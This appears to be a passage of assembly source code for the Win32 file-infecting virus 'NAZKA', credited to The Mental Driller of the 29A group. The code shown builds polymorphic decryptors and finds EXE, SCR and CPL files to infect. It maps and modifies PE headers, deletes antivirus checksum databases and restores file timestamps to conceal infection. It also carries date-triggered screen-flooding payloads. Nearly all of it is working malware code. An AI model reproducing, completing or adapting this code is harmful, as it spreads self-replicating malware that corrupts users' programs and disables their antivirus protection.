@@NotSUBEAX mov al, 2Dh stosb jmp @@Again1 @@NotSUBEAX: mov ax, 0E883h or ah, dl stosw @@Again1: call Random and eax, 3 inc al cmp al, cl ja @@Again1 sub cl, al cmp byte ptr [ebp+PutADDFlag], 1 jz @@Jump3 cmp byte ptr [ebp+SubtractFlag], 1 jz @@Jump5 @@Negate: neg eax jmp @@Jump5 @@Jump3: cmp byte ptr [ebp+SubtractFlag], 1 jz @@Negate @@Jump5: cmp byte ptr [edi-1], 2Dh jnz @@Jump1 stosd jmp @@Jump2 @@Jump1: stosb @@Jump2: jmp @@End @@PutINC: dec cl mov al, 40h cmp byte ptr [ebp+SubtractFlag], 1 jnz @@Jump6 add al, 8 @@Jump6: add al, dl stosb jmp @@End @@Next: js @@PutLEA @@PutADD: mov byte ptr [ebp+PutADDFlag], 1 jmp @@CommonPutADDSUB @@PutLEA: mov ah, dl shl dl, 3 or ah, dl shr dl, 3 or ah, 40h mov al, 8Dh stosw @@Again2: call Random and al, 3 inc al cmp al, cl ja @@Again2 sub cl, al cmp byte ptr [ebp+SubtractFlag], 1 jnz @@Jump7 neg al @@Jump7: stosb @@End: or cl, cl jnz @@IncreaseAgain mov [esp+S_EDI], edi popa ret IncreaseIndex endp DecreaseCounter proc pusha mov dl, [ebp+CounterRegister] mov cl, 1 mov byte ptr [ebp+SubtractFlag], 1 jmp CommonEntryForModification DecreaseCounter endp PutADDFlag db 0 SubtractFlag db 0 PutCounterValue proc pusha mov ecx, (Virus_Size+1000h)/4 + 1 mov dl, [ebp+CounterRegister] jmp PutMOV PutCounterValue endp PutIndexValue proc pusha mov ecx, [ebp+RelocHeader] add ecx, [ebp+MappingAddress] mov ecx, [ecx+0Ch] mov esi, [ebp+PEHeaderAddress] add ecx, [esi+34h] mov dl, [ebp+IndexRegister] jmp PutMOV PutIndexValue endp PutKeyValue proc pusha movzx ecx, byte ptr [ebp+NumberOfDecryptor] mov ecx, dword ptr [4*ecx+ebp+DecryptKey] mov dl, [ebp+KeyRegister] PutKeyValue endp PutMOV proc call RandomFlags jz @@Next js PutMOV @@PutMOV3: mov ax, 058Dh shl dl, 3 or ah, dl stosw @@Store1: mov eax, ecx stosd @@Exit: mov [esp+S_EDI], edi popa ret @@Next: js @@PutMOV2 @@PutMOV1: mov al, 0B8h add al, dl stosb jmp @@Store1 @@PutMOV2: mov al, 68h stosb mov eax, ecx stosd mov al, 58h add al, dl stosb jmp @@Exit PutMOV endp RandomCalling proc mov esi, 5 @@Again: call RandomFlags jz @@Jump1 xchg ebx, ecx @@Jump1: call RandomFlags jz @@Jump2 xchg ecx, edx @@Jump2: call RandomFlags jz @@Jump3 xchg edx, ebx @@Jump3: dec esi jnz @@Again push ebx push ecx jmp edx RandomCalling endp RandomFlags proc push eax call Random sahf pop eax ret RandomFlags endp ConstructNameForReloc proc pusha ;; Method 2: Put a name like .?text or .?code ;; Method 1: A set of four to six chars with '.' at the beginning in al, 40h test al, 1 jnz @@RandomName and al, 1Fh cmp al, 19h jbe @@OK sub al, 19h @@OK: add al, 61h mov ah, al mov al, '.' push ax mov eax, 'et?.' pop ax mov ebx, 0+'tx' mov ecx, [ebp+RelocHeader] add ecx, edi mov dword ptr [ecx], eax mov dword ptr [ecx+4], ebx popa ret @@RandomName: mov ecx, [ebp+RelocHeader] add ecx, edi inc ecx mov edx, 4 mov eax, esp @@Loop_001: in al, 40h xor al, ah add ah, al and al, 1Fh add al, 61h cmp al, 79h jbe @@OK2 sub al, 19h @@OK2: mov [ecx], al inc ecx dec edx jnz @@Loop_001 mov byte ptr [ecx], 0 popa ret ConstructNameForReloc endp FindFileMask1 db '*.EXE',0 FindFileMask2 db '*.SCR',0 FindFileMask3 db '*.CPL',0 OpenFile proc push 0 push 0 push 3 push 0 push 0 push 0c0000000h push ebx call dword ptr [ebp+RVA_CreateFileA] inc eax jz @@Error dec eax mov dword ptr [ebp+FileHandle], eax clc ret @@Error: stc ret OpenFile endp MapFile proc push 0 push dword ptr [ebp+FileSizeLow] push 0 push 4 push 0 push dword ptr [ebp+FileHandle] call dword ptr [ebp+RVA_CreateFileMappingA] or eax, eax jz @@FinError mov dword ptr [ebp+MappingHandle], eax push dword ptr [ebp+FileSizeLow] push 0 push 0 push 2 push dword ptr [ebp+MappingHandle] call dword ptr [ebp+RVA_MapViewOfFile] or eax, eax jc @@FinError2 mov dword ptr [ebp+MappingAddress], eax clc ret @@FinError2: push dword ptr [ebp+MappingHandle] call dword ptr [ebp+RVA_CloseHandle] @@FinError: stc ret MapFile endp MappingHandle dd 0 MappingAddress dd 0 FileHandle dd 0 UnmapFile proc push dword ptr [ebp+MappingAddress] call dword ptr [ebp+RVA_UnmapViewOfFile] push dword ptr [ebp+MappingHandle] call dword ptr [ebp+RVA_CloseHandle] ret UnmapFile endp CheckFileName proc push ebx push edx lea esi, [ebp+FileName] mov ebx, esi dec ebx @@Loop_001: lodsb or al, al jnz @@Loop_001 std dec esi dec esi @@Loop_002: lodsb cmp al, '\' jz @@EndName2 cmp al, ':' jz @@EndName2 cmp esi, ebx jnz @@Loop_002 jmp @@EndName @@EndName2: inc esi @@EndName: cld inc esi lodsw movzx edx, ax call ToLower cmp edx, 0+'bt' jz @@Error cmp edx, 0+'cs' jz @@Error cmp edx, 0+'-f' jz @@Error cmp edx, 0+'ap' jz @@Error cmp edx, 0+'rd' jz @@Error dec esi dec esi dec esi @@Again: inc esi cmp byte ptr [esi], 'v' jz @@Error cmp byte ptr [esi], 'V' jz @@Error cmp byte ptr [esi], 0 jnz @@Again mov edx, [esi-4] call ToLower cmp edx, 'exe.' jz @@ItsOK cmp edx, 'rcs.' jnz @@Error cmp eax, 'lpc.' jnz @@Error @@ItsOK: pop edx pop ebx clc ret @@Error: pop edx pop ebx stc ret CheckFileName endp ToLower proc push ecx mov ecx, 4 @@Loop_001: cmp dl, 'A' jb @@Next cmp dl, 'Z' ja @@Next add dl, 20h @@Next: rol edx, 8 loop @@Loop_001 pop ecx ret ToLower endp DeleteDATs proc lea ebx, [ebp+FileDAT1] call DeleteFile lea ebx, [ebp+FileDAT2] call DeleteFile lea ebx, [ebp+FileDAT3] call DeleteFile lea ebx, [ebp+FileDAT4] call DeleteFile ret DeleteDATs endp DeleteFile proc push 80h push ebx call dword ptr [ebp+RVA_SetFileAttributesA] push ebx call dword ptr [ebp+RVA_DeleteFileA] ret DeleteFile endp FileDAT1 db 'AVP.CRC',0 FileDAT2 db 'ANTI-VIR.DAT',0 FileDAT3 db 'CHKLIST.MS',0 FileDAT4 db 'IVB.NTZ',0 RestoreDateTime proc lea ebx, [ebp+CreationTime] push ebx add ebx, 8 push ebx add ebx, 8 push ebx push dword ptr [ebp+FileHandle] call dword ptr [ebp+RVA_SetFileTime] ret RestoreDateTime endp Addr_Kernel32 dd 0 ;,,,,,,,,,,,,, ;;; PAYLOADS ; ;''''''''''''' Payload proc ;; Let's do the payload in the day 17 of March, June, ;; September and December lea eax, [ebp+offset SystemTime] push eax call dword ptr [ebp+RVA_GetSystemTime] cmp word ptr [ebp+Day], 11h jnz @@Return mov al, byte ptr [ebp+Month] cmp al, 3 jz @@RunPayload cmp al, 6 jz @@RunPayload cmp al, 9 jz @@RunPayload cmp al, 0Ch jnz @@Return @@RunPayload: lea eax, [ebp+ASC_User32] call LoadLibrary jc @@Return mov [ebp+ModuleToUse], eax lea esi, [ebp+CrunchedUser32Functions] lea edx, [ebp+User32RVAs] call GetRVAs jc @@Return lea eax, [ebp+ASC_GDI32] call LoadLibrary jc @@Return mov [ebp+ModuleToUse], eax lea esi, [ebp+CrunchedGDI32Functions] lea edx, [ebp+GDI32RVAs] call GetRVAs jc @@Return push 0 call dword ptr [ebp+RVA_GetDC] mov dword ptr [ebp+HandleDC], eax @@SelectPayload: in al, 40h and al, 3 mov byte ptr [ebp+PayloadIdent], al jz @@SelectPayload cmp al, 2 jb @@Payload1 @@Payload2: lea ebx, [ebp+Payload2] jmp @@CreateThread @@Payload1: lea ebx, [ebp+Payload1] @@CreateThread: lea eax, [ebp+offset RedBrush] ; Me la pela push eax push 0 push 0 push ebx push 0 push 0 call dword ptr [ebp+RVA_CreateThread] @@Return: ret Payload endp Payload1 proc call @@GetDeltaOffset @@GetDeltaOffset: pop ebp sub ebp, offset @@GetDeltaOffset push 00FF0000h call dword ptr [ebp+RVA_CreateSolidBrush] mov dword ptr [ebp+RedBrush], eax push 0000FF00h call dword ptr [ebp+RVA_CreateSolidBrush] mov dword ptr [ebp+GreenBrush], eax push 000000FFh call dword ptr [ebp+RVA_CreateSolidBrush] mov dword ptr [ebp+BlueBrush], eax push 0000FFFFh call dword ptr [ebp+RVA_CreateSolidBrush] mov dword ptr [ebp+YellowBrush], eax push 00FF00FFh call dword ptr [ebp+RVA_CreateSolidBrush] mov dword ptr [ebp+MagentaBrush], eax @@Again: lea eax, [ebp+TimerProcedure] push eax push 60h push 0 push 0 call dword ptr [ebp+RVA_SetTimer] mov [ebp+Timer], eax push 0 push offset MB_Title push offset Identificator push 0 call dword ptr [ebp+RVA_MessageBoxA] push dword ptr [ebp+Timer] push 0 call dword ptr [ebp+RVA_KillTimer] jmp @@Again Payload1 endp Payload2 proc call @@GetDeltaOffset @@GetDeltaOffset: pop ebp sub ebp, offset @@GetDeltaOffset @@Again: push 0 call dword ptr [ebp+RVA_GetDC] mov dword ptr [ebp+HandleDC], eax push 0000FF00h push dword ptr [ebp+HandleDC] call dword ptr [ebp+RVA_SetTextColor] push 0 push dword ptr [ebp+HandleDC] call dword ptr [ebp+RVA_SetBkColor] cmp byte ptr [ebp+PayloadIdent], 2 jz @@SetPixel @@TextOutA: push 9 lea eax, [ebp+StringToScreen] push eax jmp @@Common @@SetPixel: call Random and eax, 0FFFFFFh push eax @@Common: call Random and eax, 7FFh push eax call Random and eax, 7FFh push eax push dword ptr [ebp+HandleDC] cmp byte ptr [ebp+PayloadIdent], 2 jz @@SetPixel2 @@TextOut2: call dword ptr [ebp+RVA_TextOutA] jmp @@Again @@SetPixel2: call dword ptr [ebp+RVA_SetPixel] jmp @@Again Payload2 endp StringToScreen db 'N A Z K A' PayloadIdent db 0 Contador db 0 Timer dd 0 TimerProcedure proc pusha call @@GetDeltaOffset @@GetDeltaOffset: pop ebp sub ebp, offset @@GetDeltaOffset movzx ebx, byte ptr [ebp+Contador] inc ebx cmp bl, 5 jnz @@Continue1 xor bl, bl @@Continue1: mov byte ptr [ebp+Contador], bl xor esi, esi @@Again: push 0 call dword ptr [ebp+RVA_GetDC] mov dword ptr [ebp+HandleDC], eax push dword ptr [4*ebx+ebp+RedBrush] push dword ptr [ebp+HandleDC] call dword ptr [ebp+RVA_SelectObject] push dword ptr [4*esi+ebp+Number] mov eax, [4*esi+ebp+Letra] add eax, ebp push eax push dword ptr [ebp+HandleDC] call dword ptr [ebp+RVA_Polygon] dec ebx jns @@Salto mov ebx, 4 @@Salto: inc esi cmp esi, 5 jnz @@Again popa ret TimerProcedure endp HandleDC dd 0 RedBrush dd 0 BlueBrush dd 0 GreenBrush dd 0 YellowBrush dd 0 MagentaBrush dd 0 Number dd 06h dd 04h dd 06h dd 07h dd 04h Letra dd offset Letra1 dd offset Letra2 dd offset Letra3 dd offset Letra4 dd offset Letra5 Letra1 dd 0, 0 dd 0h, 80h dd 40h, 20h dd 50h, 80h dd 50h, 0 dd 10h, 60h Letra2 dd 88h, 0 dd 60h, 80h dd 88h, 20h dd 0B0h, 80h Letra3 dd 0C0h, 0 dd 100h, 10h dd 0C0h, 78h dd 110h, 70h dd 0D0h, 70h dd 110h, 8 Letra4 dd 120h, 0 dd 120h, 80h dd 12Ch, 40h dd 170h, 80h dd 130h, 38h dd 170h, 0 dd 12Ch, 30h Letra5 dd 1A8h, 0 dd 180h, 80h dd 1A8h, 20h dd 1D0h, 80h MB_Title db 'Virus NAZKA',0 Identificator db '(c) Virus NAZKA by The Mental Driller / 29A',0 LoadLibrary proc push eax call dword ptr [ebp+RVA_LoadLibraryA] or eax, eax jz @@Error clc ret @@Error: stc ret LoadLibrary endp ASC_User32 db 'user32.dll',0 ASC_GDI32 db 'gdi32.dll',0 CrunchedUser32Functions label dword ASC_GetDC db 0F2h, 'DC',0 ASC_SetTimer db 0F6h, 'Timer',0 ASC_KillTimer db 'KillTimer',0 ASC_MessageBoxA db 'MessageBoxA',0 db 0 CrunchedGDI32Functions label dword ASC_CreateSolidBrush db 0F0h, 'SolidBrush',0 ASC_Polygon db 'Polygon',0 ASC_SelectObject db 'SelectObject',0 ASC_SetTextColor db 0F6h, 'TextColor',0 ASC_SetBkColor db 0F6h, 'BkColor',0 ASC_SetPixel db 0F6h, 'Pixel',0 ASC_TextOutA db 'TextOutA',0 db 0 User32RVAs label dword RVA_GetDC dd 0 RVA_SetTimer dd 0 RVA_KillTimer dd 0 RVA_MessageBoxA dd 0 GDI32RVAs label dword RVA_CreateSolidBrush dd 0 RVA_Polygon dd 0 RVA_SelectObject dd 0 RVA_SetTextColor dd 0 RVA_SetBkColor dd 0 RVA_SetPixel dd 0 RVA_TextOutA dd 0 ;; 0F0h --> Create ;; 0F1h --> File ;; 0F2h --> Get ;; 0F3h --> DirectoryA ;; 0F4h --> Find ;; 0F5h --> Process ;; 0F6h --> Set ;; 0F7h --> AttributesA ASC_Create db 'Create' ASC_Get db 'Get' ASC_DirectoryA db 'DirectoryA' ASC_Process db 'Process' ASC_Set db 'Set' ASC_AttributesA db 'AttributesA' CrunchedASCIIs label dword ASC_CreateFileA db 0F0h, 0F1h, 'A',0 ASC_CreateProcessA db 0F0h, 0F5h, 'A',0 ASC_FindFirstFileA db 0F4h, 'First', 0F1h, 'A',0 ASC_FindNextFileA db 0F4h, 'Next', 0F1h, 'A',0 ASC_GetFileAttributesA db 0F2h, 0F1h, 0F7h,0 ASC_SetFileAttributesA db 0F6h ,0F1h, 0F7h,0 ASC_GetFullPathNameA db 0F2h, 'FullPathNameA',0 ASC_MoveFileA db 'Move', 0F1h, 'A',0 ASC_CopyFileA db 'Copy', 0F1h, 'A',0 ASC_DeleteFileA db 'Delete', 0F1h, 'A',0 ASC_WinExec db 'WinExec',0 ASC__lopen db '_lopen',0 ASC_MoveFileExA db 'Move', 0F1h, 'ExA',0 ASC_OpenFile db 'Open', 0F1h,0 ASC_WriteProcessMemory db 'Write', 0F5h, 'Memory',0 ASC_GetCurrentProcess db 0F2h, 'Current', 0F5h,0 ASC_CreateFileMappingA db 0F0h, 0F1h, 'MappingA',0 ASC_MapViewOfFile db 'MapViewOf', 0F1h,0 ASC_UnmapViewOfFile db 'UnmapViewOf', 0F1h,0 ASC_CloseHandle db 'CloseHandle',0 ASC_SetFilePointer db 0F6h, 0F1h, 'Pointer',0 ASC_SetEndOfFile db 0F6h, 'EndOf', 0F1h,0 ASC_SetFileTime db 0F6h, 0F1h, 'Time',0 ASC_GetWindowsDirectoryA db 0F2h, 'Windows', 0F3h,0 ASC_GetCurrentDirectoryA db 0F2h, 'Current', 0F3h,0 ASC_SetCurrentDirectoryA db 0F6h, 'Current', 0F3h,0 ASC_GetSystemDirectoryA db 0F2h, 'System', 0F3h,0 ASC_GetSystemTime db 0F2h, 'SystemTime',0 ASC_LoadLibraryA db 'LoadLibraryA',0 ASC_FindClose db 0F4h, 'Close',0 ASC_VirtualAlloc db 'VirtualAlloc',0 ASC_VirtualFree db 'VirtualFree',0 ASC_CreateThread db 0F0h, 'Thread',0 db 0 FunctionsToPatch label dword RVA_GetProcAddress dd 0 RVAs label dword RVA_CreateFileA dd 0 RVA_CreateProcessA dd 0 RVA_FindFirstFileA dd 0 RVA_FindNextFileA dd 0 RVA_GetFileAttributesA dd 0 RVA_SetFileAttributesA dd 0 RVA_GetFullPathNameA dd 0 RVA_MoveFileA dd 0 RVA_CopyFileA dd 0 RVA_DeleteFileA dd 0 RVA_WinExec dd 0 RVA__lopen dd 0 RVA_MoveFileExA dd 0 RVA_OpenFile dd 0 RVA_WriteProcessMemory dd 0 RVA_GetCurrentProcess dd 0 RVA_CreateFileMappingA dd 0 RVA_MapViewOfFile dd 0 RVA_UnmapViewOfFile dd 0 RVA_CloseHandle dd 0 RVA_SetFilePointer dd 0 RVA_SetEndOfFile dd 0 RVA_SetFileTime dd 0 RVA_GetWindowsDirectoryA dd 0 RVA_GetCurrentDirectoryA dd 0 RVA_SetCurrentDirectoryA dd 0 RVA_GetSystemDirectoryA dd 0 RVA_GetSystemTime dd 0 RVA_LoadLibraryA dd 0 RVA_FindClose dd 0 RVA_VirtualAlloc dd 0 RVA_VirtualFree dd 0 RVA_CreateThread dd 0 SystemTime label dword Year dw 0 Month dw 0 DayOfWeek dw 0 Day dw 0 Hours dw 0 Minutes dw 0 Seconds dw 0 Miliseconds dw 0 org SystemTime FindFileField label dword FileAttributes dd 0 CreationTime dd 0 dd 0 LastAccessTime dd 0 dd 0 LastWriteTime dd 0 dd 0 FileSizeHigh dd 0 FileSizeLow dd 0 Reserved dd 0 dd 0 FileName db 104h dup (0) AlternateFileName db 10h dup (0) FindFileFieldSize equ $ - offset FindFileField Random proc push ecx mov eax, [ebp+DwordAleatorio1] dec dword ptr [ebp+DwordAleatorio1] xor eax, [ebp+DwordAleatorio2] mov ecx, eax rol dword ptr [ebp+DwordAleatorio1], cl add [ebp+DwordAleatorio1], eax adc eax, [ebp+DwordAleatorio2] add eax, ecx ror eax, cl not eax sub eax, 3 xor [ebp+DwordAleatorio2], eax xor eax, [ebp+DwordAleatorio3] rol dword ptr [ebp+DwordAleatorio3], 1 sub dword ptr [ebp+DwordAleatorio3], ecx sbb dword ptr [ebp+DwordAleatorio3], 4 inc dword ptr [ebp+DwordAleatorio2] pop ecx ret Random endp SystemTimeReceiver label dword DwordAleatorio1 dd 12345678h DwordAleatorio2 dd 9ABCDEF0h DwordAleatorio3 dd 0A40d1739h ; :)) DecrunchBuffer db 21 dup (0) align 4 ; Align on a 4-byte boundary End_Virus label dword FakedHost: push 0 push offset Titulo push offset Mensaje push 0 call MessageBoxA @@Fin: push 0 call ExitProcess end Nazka